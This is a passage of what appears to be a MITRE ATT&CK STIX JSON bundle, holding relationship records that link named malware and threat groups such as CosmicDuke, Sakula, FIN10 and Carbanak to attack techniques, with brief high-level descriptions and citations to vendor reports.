            "description": "[CosmicDuke](https://attack.mitre.org/software/S0050) searches attached and mounted drives for file extensions and keywords that match a predefined list.(Citation: F-Secure Cosmicduke)",
            "object_marking_refs": [
                "marking-definition--fa42a846-8d90-4e51-bc29-71d5b4802168"
            ],
            "external_references": [
                {
                    "source_name": "F-Secure Cosmicduke",
                    "description": "F-Secure Labs. (2014, July). COSMICDUKE Cosmu with a twist of MiniDuke. Retrieved July 3, 2014.",
                    "url": "https://www.f-secure.com/documents/996508/1030745/cosmicduke_whitepaper.pdf"
                }
            ],
            "source_ref": "malware--2eb9b131-d333-4a48-9eb4-d8dec46c19ee",
            "relationship_type": "uses",
            "target_ref": "attack-pattern--7bc57495-ea59-4380-be31-a64af124ef18",
            "type": "relationship",
            "modified": "2020-03-16T16:36:13.658Z",
            "created": "2017-12-14T16:46:06.044Z"
        },
        {
            "id": "relationship--4e5dff55-c686-4fa6-bad1-caa8507083d9",
            "created_by_ref": "identity--c78cb6e5-0c4b-4611-8297-d1b8b55e40b5",
            "description": "[Sakula](https://attack.mitre.org/software/S0074) encodes C2 traffic with single-byte XOR keys.(Citation: Dell Sakula)",
            "object_marking_refs": [
                "marking-definition--fa42a846-8d90-4e51-bc29-71d5b4802168"
            ],
            "external_references": [
                {
                    "source_name": "Dell Sakula",
                    "description": "Dell SecureWorks Counter Threat Unit Threat Intelligence. (2015, July 30). Sakula Malware Family. Retrieved January 26, 2016.",
                    "url": "http://www.secureworks.com/cyber-threat-intelligence/threats/sakula-malware-family/"
                }
            ],
            "source_ref": "malware--96b08451-b27a-4ff6-893f-790e26393a8e",
            "relationship_type": "uses",
            "target_ref": "attack-pattern--24bfaeba-cb0d-4525-b3dc-507c77ecec41",
            "type": "relationship",
            "modified": "2020-03-17T02:29:53.453Z",
            "created": "2017-12-14T16:46:06.044Z"
        },
        {
            "id": "relationship--9c7a9bd0-4f52-4c10-8e79-3b6e72d431d1",
            "created_by_ref": "identity--c78cb6e5-0c4b-4611-8297-d1b8b55e40b5",
            "description": "After downloading its main config file, [Downdelph](https://attack.mitre.org/software/S0134) downloads multiple payloads from C2 servers.(Citation: ESET Sednit Part 3)",
            "object_marking_refs": [
                "marking-definition--fa42a846-8d90-4e51-bc29-71d5b4802168"
            ],
            "external_references": [
                {
                    "source_name": "ESET Sednit Part 3",
                    "description": "ESET. (2016, October). En Route with Sednit - Part 3: A Mysterious Downloader. Retrieved November 21, 2016.",
                    "url": "http://www.welivesecurity.com/wp-content/uploads/2016/10/eset-sednit-part3.pdf"
                }
            ],
            "source_ref": "malware--08d20cd2-f084-45ee-8558-fa6ef5a18519",
            "relationship_type": "uses",
            "target_ref": "attack-pattern--e6919abc-99f9-4c6c-95a5-14761e7b2add",
            "type": "relationship",
            "modified": "2019-10-15T18:00:19.433Z",
            "created": "2017-12-14T16:46:06.044Z"
        },
        {
            "id": "relationship--0d0b4507-b600-41f1-be98-03909e5d99cf",
            "created_by_ref": "identity--c78cb6e5-0c4b-4611-8297-d1b8b55e40b5",
            "description": "[RTM](https://attack.mitre.org/software/S0148) can attempt to run the program as admin, then show a fake error message and a legitimate UAC bypass prompt to the user in an attempt to socially engineer the user into escalating privileges.(Citation: ESET RTM Feb 2017)",
            "object_marking_refs": [
                "marking-definition--fa42a846-8d90-4e51-bc29-71d5b4802168"
            ],
            "external_references": [
                {
                    "url": "https://www.welivesecurity.com/wp-content/uploads/2017/02/Read-The-Manual.pdf",
                    "description": "Faou, M. and Boutin, J. (2017, February). Read The Manual: A Guide to the RTM Banking Trojan. Retrieved March 9, 2017.",
                    "source_name": "ESET RTM Feb 2017"
                }
            ],
            "source_ref": "malware--92ec0cbd-2c30-44a2-b270-73f4ec949841",
            "relationship_type": "uses",
            "target_ref": "attack-pattern--120d5519-3098-4e1c-9191-2aa61232f073",
            "type": "relationship",
            "modified": "2020-05-12T22:13:16.872Z",
            "created": "2017-12-14T16:46:06.044Z"
        },
        {
            "id": "relationship--d3b787ec-795c-481b-94e5-ff42dc56d79d",
            "created_by_ref": "identity--c78cb6e5-0c4b-4611-8297-d1b8b55e40b5",
            "description": "[FIN10](https://attack.mitre.org/groups/G0051) has used stolen credentials to connect remotely to victim networks using VPNs protected with only a single factor.(Citation: FireEye FIN10 June 2017)",
            "object_marking_refs": [
                "marking-definition--fa42a846-8d90-4e51-bc29-71d5b4802168"
            ],
            "external_references": [
                {
                    "source_name": "FireEye FIN10 June 2017",
                    "description": "FireEye iSIGHT Intelligence. (2017, June 16). FIN10: Anatomy of a Cyber Extortion Operation. Retrieved June 25, 2017.",
                    "url": "https://www2.fireeye.com/rs/848-DID-242/images/rpt-fin10.pdf"
                }
            ],
            "source_ref": "intrusion-set--fbe9387f-34e6-4828-ac28-3080020c597b",
            "relationship_type": "uses",
            "target_ref": "attack-pattern--b17a1a56-e99c-403c-8948-561df0cffe81",
            "type": "relationship",
            "modified": "2020-03-16T18:42:42.732Z",
            "created": "2017-12-14T16:46:06.044Z"
        },
        {
            "id": "relationship--b28c7fbf-05c6-4be2-9f17-3dcc722cee7c",
            "created_by_ref": "identity--c78cb6e5-0c4b-4611-8297-d1b8b55e40b5",
            "description": "[NavRAT](https://attack.mitre.org/software/S0247) creates a Registry key to ensure a file gets executed upon reboot in order to establish persistence.(Citation: Talos NavRAT May 2018)",
            "object_marking_refs": [
                "marking-definition--fa42a846-8d90-4e51-bc29-71d5b4802168"
            ],
            "external_references": [
                {
                    "source_name": "Talos NavRAT May 2018",
                    "description": "Mercer, W., Rascagneres, P. (2018, May 31). NavRAT Uses US-North Korea Summit As Decoy For Attacks In South Korea. Retrieved June 11, 2018.",
                    "url": "https://blog.talosintelligence.com/2018/05/navrat.html"
                }
            ],
            "source_ref": "malware--53a42597-1974-4b8e-84fd-3675e8992053",
            "relationship_type": "uses",
            "target_ref": "attack-pattern--9efb1ea7-c37b-4595-9640-b7680cd84279",
            "type": "relationship",
            "modified": "2020-03-16T17:19:47.377Z",
            "created": "2018-10-17T00:14:20.652Z"
        },
        {
            "id": "relationship--2e44b66a-0f81-4f60-94aa-c450556bc243",
            "created_by_ref": "identity--c78cb6e5-0c4b-4611-8297-d1b8b55e40b5",
            "description": "[ChChes](https://attack.mitre.org/software/S0144) establishes persistence by adding a Registry Run key.(Citation: PWC Cloud Hopper Technical Annex April 2017)",
            "object_marking_refs": [
                "marking-definition--fa42a846-8d90-4e51-bc29-71d5b4802168"
            ],
            "external_references": [
                {
                    "source_name": "PWC Cloud Hopper Technical Annex April 2017",
                    "description": "PwC and BAE Systems. (2017, April). Operation Cloud Hopper: Technical Annex. Retrieved April 13, 2017.",
                    "url": "https://www.pwc.co.uk/cyber-security/pdf/cloud-hopper-annex-b-final.pdf"
                }
            ],
            "source_ref": "malware--dc5d1a33-62aa-4a0c-aa8c-589b87beb11e",
            "relationship_type": "uses",
            "target_ref": "attack-pattern--9efb1ea7-c37b-4595-9640-b7680cd84279",
            "type": "relationship",
            "modified": "2020-03-17T00:33:11.919Z",
            "created": "2017-12-14T16:46:06.044Z"
        },
        {
            "id": "relationship--9a05a8cc-8d3c-46a5-947e-bebed2ab1c5a",
            "created_by_ref": "identity--c78cb6e5-0c4b-4611-8297-d1b8b55e40b5",
            "description": "[ADVSTORESHELL](https://attack.mitre.org/software/S0045) connects to port 80 of a C2 server using Wininet API. Data is exchanged via HTTP POSTs.(Citation: Kaspersky Sofacy)",
            "object_marking_refs": [
                "marking-definition--fa42a846-8d90-4e51-bc29-71d5b4802168"
            ],
            "external_references": [
                {
                    "source_name": "Kaspersky Sofacy",
                    "description": "Kaspersky Lab's Global Research and Analysis Team. (2015, December 4). Sofacy APT hits high profile targets with updated toolset. Retrieved December 10, 2015.",
                    "url": "https://securelist.com/sofacy-apt-hits-high-profile-targets-with-updated-toolset/72924/"
                }
            ],
            "source_ref": "malware--fb575479-14ef-41e9-bfab-0b7cf10bec73",
            "relationship_type": "uses",
            "target_ref": "attack-pattern--df8b2a25-8bdf-4856-953c-a04372b1c161",
            "type": "relationship",
            "modified": "2020-03-17T00:01:24.095Z",
            "created": "2017-12-14T16:46:06.044Z"
        },
        {
            "id": "relationship--68bbad6c-1685-4275-bd36-b885a64caf6d",
            "created_by_ref": "identity--c78cb6e5-0c4b-4611-8297-d1b8b55e40b5",
            "description": "[Elise](https://attack.mitre.org/software/S0081) encrypts several of its files, including configuration files.(Citation: Lotus Blossom Jun 2015)",
            "object_marking_refs": [
                "marking-definition--fa42a846-8d90-4e51-bc29-71d5b4802168"
            ],
            "external_references": [
                {
                    "url": "https://www.paloaltonetworks.com/resources/research/unit42-operation-lotus-blossom.html",
                    "description": "Falcone, R., et al.. (2015, June 16). Operation Lotus Blossom. Retrieved February 15, 2016.",
                    "source_name": "Lotus Blossom Jun 2015"
                }
            ],
            "source_ref": "malware--7551188b-8f91-4d34-8350-0d0c57b2b913",
            "relationship_type": "uses",
            "target_ref": "attack-pattern--b3d682b6-98f2-4fb0-aa3b-b4df007ca70a",
            "type": "relationship",
            "modified": "2019-04-17T22:12:24.858Z",
            "created": "2017-12-14T16:46:06.044Z"
        },
        {
            "id": "relationship--ab3fe31a-051e-4db5-bcf0-20a93b4bae9b",
            "created_by_ref": "identity--c78cb6e5-0c4b-4611-8297-d1b8b55e40b5",
            "description": "[InvisiMole](https://attack.mitre.org/software/S0260) has a command to list account information on the victim\u2019s machine.(Citation: ESET InvisiMole June 2018)",
            "object_marking_refs": [
                "marking-definition--fa42a846-8d90-4e51-bc29-71d5b4802168"
            ],
            "external_references": [
                {
                    "source_name": "ESET InvisiMole June 2018",
                    "description": "Hromcov\u00e1, Z. (2018, June 07). InvisiMole: Surprisingly equipped spyware, undercover since 2013. Retrieved July 10, 2018.",
                    "url": "https://www.welivesecurity.com/2018/06/07/invisimole-equipped-spyware-undercover/"
                }
            ],
            "source_ref": "malware--47afe41c-4c08-485e-b062-c3bd209a1cce",
            "relationship_type": "uses",
            "target_ref": "attack-pattern--25659dd6-ea12-45c4-97e6-381e3e4b593e",
            "type": "relationship",
            "modified": "2020-03-18T20:01:05.712Z",
            "created": "2018-10-17T00:14:20.652Z"
        },
        {
            "id": "relationship--0fd9bb83-40f0-42ae-8e73-5d207434a757",
            "created_by_ref": "identity--c78cb6e5-0c4b-4611-8297-d1b8b55e40b5",
            "description": "[Bankshot](https://attack.mitre.org/software/S0239) uses HTTP for command and control communication.(Citation: McAfee Bankshot)",
            "object_marking_refs": [
                "marking-definition--fa42a846-8d90-4e51-bc29-71d5b4802168"
            ],
            "external_references": [
                {
                    "source_name": "McAfee Bankshot",
                    "description": "Sherstobitoff, R. (2018, March 08). Hidden Cobra Targets Turkish Financial Sector With New Bankshot Implant. Retrieved May 18, 2018.",
                    "url": "https://securingtomorrow.mcafee.com/mcafee-labs/hidden-cobra-targets-turkish-financial-sector-new-bankshot-implant/"
                }
            ],
            "source_ref": "malware--1f6e3702-7ca1-4582-b2e7-4591297d05a8",
            "relationship_type": "uses",
            "target_ref": "attack-pattern--df8b2a25-8bdf-4856-953c-a04372b1c161",
            "type": "relationship",
            "modified": "2020-03-17T00:22:46.510Z",
            "created": "2018-10-17T00:14:20.652Z"
        },
        {
            "id": "relationship--2864eb81-71a5-4325-b42a-7a725f0c6887",
            "created_by_ref": "identity--c78cb6e5-0c4b-4611-8297-d1b8b55e40b5",
            "description": "[MoonWind](https://attack.mitre.org/software/S0149) communicates over ports 80, 443, 53, and 8080 via raw sockets instead of the protocols usually associated with the ports.(Citation: Palo Alto MoonWind March 2017)",
            "object_marking_refs": [
                "marking-definition--fa42a846-8d90-4e51-bc29-71d5b4802168"
            ],
            "external_references": [
                {
                    "source_name": "Palo Alto MoonWind March 2017",
                    "description": "Miller-Osborn, J. and Grunzweig, J.. (2017, March 30). Trochilus and New MoonWind RATs Used In Attack Against Thai Organizations. Retrieved March 30, 2017.",
                    "url": "http://researchcenter.paloaltonetworks.com/2017/03/unit42-trochilus-rat-new-moonwind-rat-used-attack-thai-utility-organizations/"
                }
            ],
            "type": "relationship",
            "modified": "2018-10-17T00:14:20.652Z",
            "created": "2017-12-14T16:46:06.044Z",
            "source_ref": "malware--9ea525fa-b0a9-4dde-84f2-bcea0137b3c1",
            "relationship_type": "uses",
            "target_ref": "attack-pattern--f879d51c-5476-431c-aedf-f14d207e4d1e"
        },
        {
            "id": "relationship--b45c7b78-55c7-4418-ab03-9f805de7376d",
            "created_by_ref": "identity--c78cb6e5-0c4b-4611-8297-d1b8b55e40b5",
            "description": "[ROKRAT](https://attack.mitre.org/software/S0240) leverages legitimate social networking sites and cloud platforms (Twitter, Yandex, and Mediafire) for C2 communications.(Citation: Talos ROKRAT)(Citation: Securelist ScarCruft May 2019)",
            "object_marking_refs": [
                "marking-definition--fa42a846-8d90-4e51-bc29-71d5b4802168"
            ],
            "external_references": [
                {
                    "url": "https://blog.talosintelligence.com/2017/04/introducing-rokrat.html",
                    "description": "Mercer, W., Rascagneres, P. (2017, April 03). Introducing ROKRAT. Retrieved May 21, 2018.",
                    "source_name": "Talos ROKRAT"
                },
                {
                    "source_name": "Securelist ScarCruft May 2019",
                    "url": "https://securelist.com/scarcruft-continues-to-evolve-introduces-bluetooth-harvester/90729/",
                    "description": "GReAT. (2019, May 13). ScarCruft continues to evolve, introduces Bluetooth harvester. Retrieved June 4, 2019."
                }
            ],
            "source_ref": "malware--60a9c2f0-b7a5-4e8e-959c-e1a3ff314a5f",
            "relationship_type": "uses",
            "target_ref": "attack-pattern--be055942-6e63-49d7-9fa1-9cb7d8a8f3f4",
            "type": "relationship",
            "modified": "2020-05-21T17:07:02.697Z",
            "created": "2018-10-17T00:14:20.652Z"
        },
        {
            "id": "relationship--cd38481c-7c23-4e72-b1b4-056830f5f7f3",
            "created_by_ref": "identity--c78cb6e5-0c4b-4611-8297-d1b8b55e40b5",
            "object_marking_refs": [
                "marking-definition--fa42a846-8d90-4e51-bc29-71d5b4802168"
            ],
            "source_ref": "course-of-action--92c28497-2820-445e-9f3e-a03dd77dc0c8",
            "relationship_type": "mitigates",
            "target_ref": "attack-pattern--92d7da27-2d91-488e-a00c-059dc162766d",
            "description": "Network intrusion detection and prevention systems that use network signatures to identify traffic for specific adversary malware can be used to mitigate activity at the network level",
            "type": "relationship",
            "modified": "2020-03-12T15:59:47.571Z",
            "created": "2017-05-31T21:33:27.021Z"
        },
        {
            "id": "relationship--79ecf1f6-a17d-4374-a84c-811669e39261",
            "created_by_ref": "identity--c78cb6e5-0c4b-4611-8297-d1b8b55e40b5",
            "description": "To establish persistence, [SslMM](https://attack.mitre.org/software/S0058) identifies the Start Menu Startup directory and drops a link to its own executable disguised as an \u201cOffice Start,\u201d \u201cYahoo Talk,\u201d \u201cMSN Gaming Z0ne,\u201d or \u201cMSN Talk\u201d shortcut.(Citation: Baumgartner Naikon 2015)",
            "object_marking_refs": [
                "marking-definition--fa42a846-8d90-4e51-bc29-71d5b4802168"
            ],
            "external_references": [
                {
                    "source_name": "Baumgartner Naikon 2015",
                    "description": "Baumgartner, K., Golovkin, M.. (2015, May). The MsnMM Campaigns: The Earliest Naikon APT Campaigns. Retrieved April 10, 2019.",
                    "url": "https://media.kasperskycontenthub.com/wp-content/uploads/sites/43/2018/03/07205555/TheNaikonAPT-MsnMM1.pdf"
                }
            ],
            "source_ref": "malware--2fb26586-2b53-4b9a-ad4f-2b3bcb9a2421",
            "relationship_type": "uses",
            "target_ref": "attack-pattern--4ab929c6-ee2d-4fb5-aab4-b14be2ed7179",
            "type": "relationship",
            "modified": "2019-04-25T02:48:47.519Z",
            "created": "2017-12-14T16:46:06.044Z"
        },
        {
            "id": "relationship--283bdd5f-f356-43a2-864c-6f8211073d45",
            "created_by_ref": "identity--c78cb6e5-0c4b-4611-8297-d1b8b55e40b5",
            "description": "[Starloader](https://attack.mitre.org/software/S0188) decrypts and executes shellcode from a file called Stars.jps.(Citation: Symantec Sowbug Nov 2017)",
            "object_marking_refs": [
                "marking-definition--fa42a846-8d90-4e51-bc29-71d5b4802168"
            ],
            "external_references": [
                {
                    "source_name": "Symantec Sowbug Nov 2017",
                    "description": "Symantec Security Response. (2017, November 7). Sowbug: Cyber espionage group targets South American and Southeast Asian governments. Retrieved November 16, 2017.",
                    "url": "https://www.symantec.com/connect/blogs/sowbug-cyber-espionage-group-targets-south-american-and-southeast-asian-governments"
                }
            ],
            "source_ref": "malware--96566860-9f11-4b6f-964d-1c924e4f24a4",
            "relationship_type": "uses",
            "target_ref": "attack-pattern--3ccef7ae-cb5e-48f6-8302-897105fbf55c",
            "type": "relationship",
            "modified": "2020-03-18T16:01:37.932Z",
            "created": "2018-01-16T16:13:52.465Z"
        },
        {
            "id": "relationship--9287e689-758f-4701-80b6-41bcf348ab10",
            "created_by_ref": "identity--c78cb6e5-0c4b-4611-8297-d1b8b55e40b5",
            "description": "[InvisiMole](https://attack.mitre.org/software/S0260) uses port 80 for C2.(Citation: ESET InvisiMole June 2018)",
            "object_marking_refs": [
                "marking-definition--fa42a846-8d90-4e51-bc29-71d5b4802168"
            ],
            "external_references": [
                {
                    "source_name": "ESET InvisiMole June 2018",
                    "description": "Hromcov\u00e1, Z. (2018, June 07). InvisiMole: Surprisingly equipped spyware, undercover since 2013. Retrieved July 10, 2018.",
                    "url": "https://www.welivesecurity.com/2018/06/07/invisimole-equipped-spyware-undercover/"
                }
            ],
            "source_ref": "malware--47afe41c-4c08-485e-b062-c3bd209a1cce",
            "relationship_type": "uses",
            "target_ref": "attack-pattern--f879d51c-5476-431c-aedf-f14d207e4d1e",
            "type": "relationship",
            "modified": "2020-07-16T13:08:59.919Z",
            "created": "2018-10-17T00:14:20.652Z"
        },
        {
            "id": "relationship--1ec53623-4050-498b-ba9e-f149d203036c",
            "created_by_ref": "identity--c78cb6e5-0c4b-4611-8297-d1b8b55e40b5",
            "description": "[Emissary](https://attack.mitre.org/software/S0082) has the capability to execute the command <code>ipconfig /all</code>.(Citation: Emissary Trojan Feb 2016)",
            "object_marking_refs": [
                "marking-definition--fa42a846-8d90-4e51-bc29-71d5b4802168"
            ],
            "external_references": [
                {
                    "source_name": "Emissary Trojan Feb 2016",
                    "description": "Falcone, R. and Miller-Osborn, J.. (2016, February 3). Emissary Trojan Changelog: Did Operation Lotus Blossom Cause It to Evolve?. Retrieved February 15, 2016.",
                    "url": "http://researchcenter.paloaltonetworks.com/2016/02/emissary-trojan-changelog-did-operation-lotus-blossom-cause-it-to-evolve/"
                }
            ],
            "source_ref": "malware--0f862b01-99da-47cc-9bdb-db4a86a95bb1",
            "relationship_type": "uses",
            "target_ref": "attack-pattern--707399d6-ab3e-4963-9315-d9d3818cd6a0",
            "type": "relationship",
            "modified": "2020-03-16T15:50:20.068Z",
            "created": "2017-12-14T16:46:06.044Z"
        },
        {
            "id": "relationship--96076f66-3ad6-4e54-b816-c9c3f90fa43a",
            "created_by_ref": "identity--c78cb6e5-0c4b-4611-8297-d1b8b55e40b5",
            "description": "[Ixeshe](https://attack.mitre.org/software/S0015) uses custom Base64 encoding schemes to obfuscate command and control traffic in the message body of HTTP requests.(Citation: Moran 2013)(Citation: Trend Micro IXESHE 2012)",
            "object_marking_refs": [
                "marking-definition--fa42a846-8d90-4e51-bc29-71d5b4802168"
            ],
            "external_references": [
                {
                    "url": "https://www.fireeye.com/blog/threat-research/2013/08/survival-of-the-fittest-new-york-times-attackers-evolve-quickly.html",
                    "description": "Moran, N., & Villeneuve, N. (2013, August 12). Survival of the Fittest: New York Times Attackers Evolve Quickly &#91;Blog&#93;. Retrieved November 12, 2014.",
                    "source_name": "Moran 2013"
                },
                {
                    "source_name": "Trend Micro IXESHE 2012",
                    "url": "https://www.trendmicro.de/cloud-content/us/pdfs/security-intelligence/white-papers/wp_ixeshe.pdf",
                    "description": "Sancho, D., et al. (2012, May 22). IXESHE An APT Campaign. Retrieved June 7, 2019."
                }
            ],
            "source_ref": "malware--8beac7c2-48d2-4cd9-9b15-6c452f38ac06",
            "relationship_type": "uses",
            "target_ref": "attack-pattern--04fd5427-79c7-44ea-ae13-11b24778ff1c",
            "type": "relationship",
            "modified": "2020-03-20T22:45:06.829Z",
            "created": "2017-12-14T16:46:06.044Z"
        },
        {
            "id": "relationship--35697909-4c19-4799-a5ac-3153750619f8",
            "created_by_ref": "identity--c78cb6e5-0c4b-4611-8297-d1b8b55e40b5",
            "description": "[Volgmer](https://attack.mitre.org/software/S0180) can gather system information, the computer name, OS version, drive and serial information from the victim's machine.(Citation: US-CERT Volgmer Nov 2017)(Citation: US-CERT Volgmer 2 Nov 2017)(Citation: Symantec Volgmer Aug 2014)",
            "object_marking_refs": [
                "marking-definition--fa42a846-8d90-4e51-bc29-71d5b4802168"
            ],
            "external_references": [
                {
                    "source_name": "US-CERT Volgmer Nov 2017",
                    "description": "US-CERT. (2017, November 22). Alert (TA17-318B): HIDDEN COBRA \u2013 North Korean Trojan: Volgmer. Retrieved December 7, 2017.",
                    "url": "https://www.us-cert.gov/ncas/alerts/TA17-318B"
                },
                {
                    "source_name": "US-CERT Volgmer 2 Nov 2017",
                    "description": "US-CERT. (2017, November 01). Malware Analysis Report (MAR) - 10135536-D. Retrieved July 16, 2018.",
                    "url": "https://www.us-cert.gov/sites/default/files/publications/MAR-10135536-D_WHITE_S508C.PDF"
                },
                {
                    "source_name": "Symantec Volgmer Aug 2014",
                    "description": "Yagi, J. (2014, August 24). Trojan.Volgmer. Retrieved July 16, 2018.",
                    "url": "https://www.symantec.com/security-center/writeup/2014-081811-3237-99?tabid=2"
                }
            ],
            "source_ref": "malware--495b6cdb-7b5a-4fbc-8d33-e7ef68806d08",
            "relationship_type": "uses",
            "target_ref": "attack-pattern--354a7f88-63fb-41b5-a801-ce3b377b36f1",
            "type": "relationship",
            "modified": "2019-10-15T22:51:03.041Z",
            "created": "2018-01-16T16:13:52.465Z"
        },
        {
            "id": "relationship--6d87588e-2202-4616-a536-e43a2606721b",
            "created_by_ref": "identity--c78cb6e5-0c4b-4611-8297-d1b8b55e40b5",
            "description": "[Rover](https://attack.mitre.org/software/S0090) searches for files on attached removable drives based on a predefined list of file extensions every five seconds.(Citation: Palo Alto Rover)",
            "object_marking_refs": [
                "marking-definition--fa42a846-8d90-4e51-bc29-71d5b4802168"
            ],
            "external_references": [
                {
                    "source_name": "Palo Alto Rover",
                    "description": "Ray, V., Hayashi, K. (2016, February 29). New Malware \u2018Rover\u2019 Targets Indian Ambassador to Afghanistan. Retrieved February 29, 2016.",
                    "url": "http://researchcenter.paloaltonetworks.com/2016/02/new-malware-rover-targets-indian-ambassador-to-afghanistan/"
                }
            ],
            "source_ref": "malware--6b616fc1-1505-48e3-8b2c-0d19337bff38",
            "relationship_type": "uses",
            "target_ref": "attack-pattern--1b7ba276-eedc-4951-a762-0ceea2c030ec",
            "type": "relationship",
            "modified": "2020-03-16T17:46:07.832Z",
            "created": "2017-12-14T16:46:06.044Z"
        },
        {
            "id": "relationship--be5dadd8-71ce-40ac-8858-5d5c5fbe0e96",
            "created_by_ref": "identity--c78cb6e5-0c4b-4611-8297-d1b8b55e40b5",
            "description": "After encrypting its own log files, the log encryption module in [Prikormka](https://attack.mitre.org/software/S0113) deletes the original, unencrypted files from the host.(Citation: ESET Operation Groundbait)",
            "object_marking_refs": [
                "marking-definition--fa42a846-8d90-4e51-bc29-71d5b4802168"
            ],
            "external_references": [
                {
                    "source_name": "ESET Operation Groundbait",
                    "description": "Cherepanov, A.. (2016, May 17). Operation Groundbait: Analysis of a surveillance toolkit. Retrieved May 18, 2016.",
                    "url": "http://www.welivesecurity.com/wp-content/uploads/2016/05/Operation-Groundbait.pdf"
                }
            ],
            "source_ref": "malware--37cc7eb6-12e3-467b-82e8-f20f2cc73c69",
            "relationship_type": "uses",
            "target_ref": "attack-pattern--799ace7f-e227-4411-baa0-8868704f2a69",
            "type": "relationship",
            "modified": "2020-03-28T20:18:30.145Z",
            "created": "2017-12-14T16:46:06.044Z"
        },
        {
            "id": "relationship--37f48df4-80b1-4f5b-917c-8ac699e5cc0e",
            "created_by_ref": "identity--c78cb6e5-0c4b-4611-8297-d1b8b55e40b5",
            "description": "[QUADAGENT](https://attack.mitre.org/software/S0269) encodes C2 communications with base64.(Citation: Unit 42 QUADAGENT July 2018)",
            "object_marking_refs": [
                "marking-definition--fa42a846-8d90-4e51-bc29-71d5b4802168"
            ],
            "external_references": [
                {
                    "source_name": "Unit 42 QUADAGENT July 2018",
                    "description": "Lee, B., Falcone, R. (2018, July 25). OilRig Targets Technology Service Provider and Government Agency with QUADAGENT. Retrieved August 9, 2018.",
                    "url": "https://researchcenter.paloaltonetworks.com/2018/07/unit42-oilrig-targets-technology-service-provider-government-agency-quadagent/"
                }
            ],
            "source_ref": "malware--7e6c2a9d-9dc1-4eb0-b27c-91e8076a9d77",
            "relationship_type": "uses",
            "target_ref": "attack-pattern--04fd5427-79c7-44ea-ae13-11b24778ff1c",
            "type": "relationship",
            "modified": "2020-03-20T22:45:24.227Z",
            "created": "2018-10-17T00:14:20.652Z"
        },
        {
            "id": "relationship--83256f2c-78fe-4fe2-82f0-55df116a0ebc",
            "created_by_ref": "identity--c78cb6e5-0c4b-4611-8297-d1b8b55e40b5",
            "description": "[Derusbi](https://attack.mitre.org/software/S0021) binds to a raw socket on a random source port between 31800 and 31900 for C2.(Citation: Fidelis Turbo)",
            "object_marking_refs": [
                "marking-definition--fa42a846-8d90-4e51-bc29-71d5b4802168"
            ],
            "external_references": [
                {
                    "url": "https://paper.seebug.org/papers/APT/APT_CyberCriminal_Campagin/2016/2016.02.29.Turbo_Campaign_Derusbi/TA_Fidelis_Turbo_1602_0.pdf",
                    "description": "Fidelis Cybersecurity. (2016, February 29). The Turbo Campaign, Featuring Derusbi for 64-bit Linux. Retrieved March 2, 2016.",
                    "source_name": "Fidelis Turbo"
                }
            ],
            "source_ref": "malware--94379dec-5c87-49db-b36e-66abc0b81344",
            "relationship_type": "uses",
            "target_ref": "attack-pattern--f72eb8a8-cd4c-461d-a814-3f862befbf00",
            "type": "relationship",
            "modified": "2019-08-16T18:52:50.583Z",
            "created": "2018-10-17T00:14:20.652Z"
        },
        {
            "id": "relationship--c569059f-8a7d-4777-a111-d3ab62d178ca",
            "created_by_ref": "identity--c78cb6e5-0c4b-4611-8297-d1b8b55e40b5",
            "description": "[APT28](https://attack.mitre.org/groups/G0007) uses a tool that captures information from air-gapped computers via an infected USB and transfers it to network-connected computer when the USB is inserted.(Citation: Microsoft SIR Vol 19)",
            "object_marking_refs": [
                "marking-definition--fa42a846-8d90-4e51-bc29-71d5b4802168"
            ],
            "external_references": [
                {
                    "url": "http://download.microsoft.com/download/4/4/C/44CDEF0E-7924-4787-A56A-16261691ACE3/Microsoft_Security_Intelligence_Report_Volume_19_English.pdf",
                    "description": "Anthe, C. et al. (2015, October 19). Microsoft Security Intelligence Report Volume 19. Retrieved December 23, 2015.",
                    "source_name": "Microsoft SIR Vol 19"
                }
            ],
            "source_ref": "intrusion-set--bef4c620-0787-42a8-a96d-b7eb6e85917c",
            "relationship_type": "uses",
            "target_ref": "attack-pattern--64196062-5210-42c3-9a02-563a0d1797ef",
            "type": "relationship",
            "modified": "2019-12-20T14:26:01.128Z",
            "created": "2017-05-31T21:33:27.040Z"
        },
        {
            "id": "relationship--f07267d5-f532-4a52-abd6-20d5f94a2bf8",
            "created_by_ref": "identity--c78cb6e5-0c4b-4611-8297-d1b8b55e40b5",
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            ],
            "source_ref": "intrusion-set--17862c7d-9e60-48a0-b48e-da4dc4c3f6b0",
            "relationship_type": "uses",
            "target_ref": "tool--13cd9151-83b7-410d-9f98-25d0f0d1d80d",
            "external_references": [
                {
                    "source_name": "Cymmetria Patchwork",
                    "description": "Cymmetria. (2016). Unveiling Patchwork - The Copy-Paste APT. Retrieved August 3, 2016.",
                    "url": "https://s3-us-west-2.amazonaws.com/cymmetria-blog/public/Unveiling_Patchwork.pdf"
                }
            ],
            "description": "(Citation: Cymmetria Patchwork)",
            "type": "relationship",
            "modified": "2019-07-11T13:53:06.120Z",
            "created": "2018-04-18T17:59:24.739Z"
        },
        {
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            "created_by_ref": "identity--c78cb6e5-0c4b-4611-8297-d1b8b55e40b5",
            "description": "[Carbanak](https://attack.mitre.org/groups/G0008) installs VNC server software that executes through rundll32.(Citation: Kaspersky Carbanak)",
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                "marking-definition--fa42a846-8d90-4e51-bc29-71d5b4802168"
            ],
            "external_references": [
                {
                    "url": "https://media.kasperskycontenthub.com/wp-content/uploads/sites/43/2018/03/08064518/Carbanak_APT_eng.pdf",
                    "description": "Kaspersky Lab's Global Research and Analysis Team. (2015, February). CARBANAK APT THE GREAT BANK ROBBERY. Retrieved August 23, 2018.",
                    "source_name": "Kaspersky Carbanak"
                }
            ],
            "source_ref": "intrusion-set--55033a4d-3ffe-46b2-99b4-2c1541e9ce1c",
            "relationship_type": "uses",
            "target_ref": "attack-pattern--045d0922-2310-4e60-b5e4-3302302cb3c5",
            "type": "relationship",
            "modified": "2019-03-22T19:59:27.038Z",
            "created": "2017-05-31T21:33:27.042Z"
        },
        {
            "id": "relationship--a99f7b3c-4757-47b0-8649-795f1e0f7c60",
            "created_by_ref": "identity--c78cb6e5-0c4b-4611-8297-d1b8b55e40b5",
            "description": "[Gold Dragon](https://attack.mitre.org/software/S0249) terminates anti-malware processes if they\u2019re found running on the system.(Citation: McAfee Gold Dragon)",
            "object_marking_refs": [
                "marking-definition--fa42a846-8d90-4e51-bc29-71d5b4802168"
            ],
            "external_references": [
                {
                    "url": "https://www.mcafee.com/blogs/other-blogs/mcafee-labs/gold-dragon-widens-olympics-malware-attacks-gains-permanent-presence-on-victims-systems/",
